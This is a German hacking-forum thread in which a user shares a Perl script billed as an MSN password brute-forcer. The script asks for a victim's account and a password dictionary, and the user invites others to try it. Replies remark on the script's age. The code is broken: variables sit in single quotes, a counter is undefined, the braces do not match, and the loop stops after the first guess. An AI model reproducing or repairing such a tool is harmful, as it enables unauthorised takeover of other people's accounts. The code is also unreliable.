[Perl] MSN-Bruter?

[strukel]

Da ich in letzter Zeit einen Thread gelesen habe, wie man MSN Bruten könnte, hab ich mal gegoogelt.

Ich habe einen Code gefunden, ich weiß nicht ob er funktioniert.
Er ist in Perl (Draufklicken um Perl herunter zu laden) geschrieben.

[HIDE=50]

[/system ("clear");

system ("cls");

system ("color fc");

# Re-c0de by m0x.lk

# Edit : BruteMSN .- ~HaSe & RE.

# Download Lib's.

use lib qw(./MSN/lib);

use MSN;

use strict;

use encoding "euc-jp";

print "Re-C0de by BITCHH4CKER";

print "\n";

print "BruteMSN .- ~HaSe & RE.\n";

print "\n";

sleep 1;

print "Victima: ";

$victima=<STDIN>;

print "\n\n";

print "\n";

print "Diccionario: ";

$dict=<STDIN>;

print "\n\n";

open (D,"<$dict") or die "Diccionario no encontrado\n";

while(<D>)

{

$try = $_;

    chomp $try;

my $msn = MSN->new(Handle => '$victima',

                   Password => '$try');

    $counter++;

    $tiempo++;

    {

        print "$victima / $try \n";

        last;

    }

    if($counter==$fallos)

    {

}

close(D);

print "\n\n";

print "$tiempo Obtener pass";

print "\n\n";

print "c0dex by BITCHH4CKER";

you can EDIT this tool feel free 

[/HIDE]

Ich weiß nicht ob er funktioniert oder nicht, probiert es einfach mal aus.

Vlt. fangt ja jemand was damit an.

[Nightking]

Ist schon drei Jahre alt

[strukel]

Ist schon drei Jahre alt

Wollte nur freundlich sein.

[BL4cK]

Sieht mir eher nach so 'ner Lib aus.^^